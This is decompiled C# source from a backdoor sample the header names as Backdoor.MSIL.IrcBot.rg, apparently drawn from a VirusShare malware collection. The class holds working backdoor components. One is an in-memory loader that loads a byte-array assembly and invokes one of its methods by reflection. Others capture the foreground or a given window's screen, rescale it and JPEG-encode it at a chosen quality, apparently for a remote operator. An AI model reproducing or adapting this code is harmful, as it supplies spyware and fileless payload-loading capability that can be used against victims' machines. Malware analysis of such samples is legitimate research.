// Decompiled with JetBrains decompiler
// Type: n.C
// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe

using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Threading;

namespace n
{
  public class C
  {
    public static byte[] Plug;

    public static object inv(ref byte[] F, ref string C, ref string S, ref object P)
    {
      Assembly assembly = Assembly.Load(F);
      return assembly.GetType(C).GetMethod(S).Invoke(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Activator.CreateInstance(assembly.GetType(C)))), (object[]) P);
    }

    public static Image Capture(ref int hwd)
    {
      API.wd.ShowWindow(hwd, 5);
      Thread.Sleep(100);
      C.RECT lpRect = new C.RECT();
      C.GetWindowRect((IntPtr) hwd, ref lpRect);
      string str = Conversions.ToString(lpRect.top) + Conversions.ToString(lpRect.right) + Conversions.ToString(lpRect.left) + Conversions.ToString(lpRect.bottom);
      int index = 0;
      int num1;
      for (int length = str.Length; index < length; ++index)
      {
        if (Operators.CompareString(Conversions.ToString(str[index]), "-", false) == 0)
          ++num1;
      }
      if (num1 == 4)
      {
        ref int local1 = ref hwd;
        int num2 = 2;
        ref int local2 = ref num2;
        API.wd.G(ref local1, ref local2);
        ref int local3 = ref hwd;
        int num3 = 1;
        ref int local4 = ref num3;
        API.wd.G(ref local3, ref local4);
        C.GetWindowRect((IntPtr) hwd, ref lpRect);
      }
      Size blockRegionSize = new Size(lpRect.right, lpRect.bottom);
      Bitmap bitmap1 = new Bitmap(blockRegionSize.Width, blockRegionSize.Height);
      Graphics graphics1 = Graphics.FromImage((Image) bitmap1);
      graphics1.CopyFromScreen(0, 0, -lpRect.left, -lpRect.top, blockRegionSize, CopyPixelOperation.SourceCopy);
      graphics1.Dispose();
      Image thumbnailImage = bitmap1.GetThumbnailImage(bitmap1.Width, bitmap1.Height, (Image.GetThumbnailImageAbort) null, IntPtr.Zero);
      bitmap1.Dispose();
      Bitmap bitmap2 = new Bitmap(lpRect.right - lpRect.left, lpRect.bottom - lpRect.top);
      Graphics graphics2 = Graphics.FromImage((Image) bitmap2);
      graphics2.DrawImage(thumbnailImage, new Rectangle(0, 0, lpRect.right - lpRect.left, lpRect.bottom - lpRect.top), 0, 0, lpRect.right - lpRect.left, lpRect.bottom - lpRect.top, GraphicsUnit.Pixel);
      graphics2.Dispose();
      return bitmap2.GetThumbnailImage((int) Math.Round((double) bitmap2.Width / 2.0 + (double) bitmap2.Width / 6.0), (int) Math.Round((double) bitmap2.Height / 2.0 + (double) bitmap2.Height / 6.0), (Image.GetThumbnailImageAbort) null, IntPtr.Zero);
    }

    public static byte[] Capture1(ref int q)
    {
      IntPtr foregroundWindow = API.GetForegroundWindow();
      if (foregroundWindow == IntPtr.Zero)
        return new MemoryStream(sc.gc(ref q)).ToArray();
      int num;
      switch (q)
      {
        case 0:
          num = 65;
          break;
        case 1:
          num = 60;
          break;
        case 2:
          num = 55;
          break;
        case 3:
          num = 50;
          break;
        case 4:
          num = 45;
          break;
        case 5:
          num = 40;
          break;
        case 6:
          num = 35;
          break;
        case 7:
          num = 30;
          break;
        case 8:
          num = 25;
          break;
        case 9:
          num = 20;
          break;
        case 10:
          num = 10;
          break;
      }
      EncoderParameters encoderParams = new EncoderParameters(1);
      encoderParams.Param[0] = new EncoderParameter(Encoder.Quality, (long) num);
      ImageCodecInfo encoderInfo = sc.GetEncoderInfo("image/jpeg");
      C.RECT lpRect = new C.RECT();
      C.GetWindowRect(foregroundWindow, ref lpRect);
      Size blockRegionSize = new Size(lpRect.right, lpRect.bottom);
      Bitmap bitmap1 = new Bitmap(blockRegionSize.Width, blockRegionSize.Height);
      Graphics graphics1 = Graphics.FromImage((Image) bitmap1);
      graphics1.CopyFromScreen(0, 0, -lpRect.left, -lpRect.top, blockRegionSize, CopyPixelOperation.SourceCopy);
      graphics1.Dispose();
      Image thumbnailImage = bitmap1.GetThumbnailImage(bitmap1.Width, bitmap1.Height, (Image.GetThumbnailImageAbort) null, IntPtr.Zero);
      bitmap1.Dispose();
      Bitmap bitmap2 = new Bitmap(lpRect.right - lpRect.left, lpRect.bottom - lpRect.top);
      Graphics graphics2 = Graphics.FromImage((Image) bitmap2);
      graphics2.DrawImage(thumbnailImage, new Rectangle(0, 0, lpRect.right - lpRect.left, lpRect.bottom - lpRect.top), 0, 0, lpRect.right - lpRect.left, lpRect.bottom - lpRect.top, GraphicsUnit.Pixel);
      graphics2.Dispose();
      MemoryStream memoryStream = new MemoryStream();
      bitmap2.Save((Stream) memoryStream, encoderInfo, encoderParams);
      return memoryStream.ToArray();
    }

    [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
    public static extern IntPtr GetDesktopWindow();

    [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
    public static extern IntPtr GetWindowDC(IntPtr hwnd);

    [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
    public static extern int ReleaseDC(IntPtr hwnd, IntPtr hdc);

    [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
    public static extern int GetWindowRect(IntPtr hwnd, ref C.RECT lpRect);

    public struct RECT
    {
      public int left;
      public int top;
      public int right;
      public int bottom;
    }
  }
}
